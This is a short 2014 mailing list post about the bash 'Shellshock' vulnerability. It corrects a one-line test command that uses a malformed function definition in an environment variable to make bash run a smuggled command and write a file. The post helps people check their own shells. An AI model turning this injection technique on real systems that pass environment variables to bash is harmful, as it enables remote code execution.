[PLUG] ALL BASH RELEASES STILL VULNERABLE [Re: cross-platform bash vulnerability widespread]

Micah Cowan micah at addictivecode.org
Thu Sep 25 19:31:32 UTC 2014


Sorry, that should be:

$ env X='() { (a)=>\' bash -c "echo date"; cat echo

The previous version obviously only works if your sh is bash, obviously.

-mjc

On Thu, Sep 25, 2014 at 12:25 PM, Micah Cowan <micah at addictivecode.org>
wrote:

> >   $ env X='() { (a)=>\' sh -c "echo date"; cat echo
>



More information about the PLUG mailing list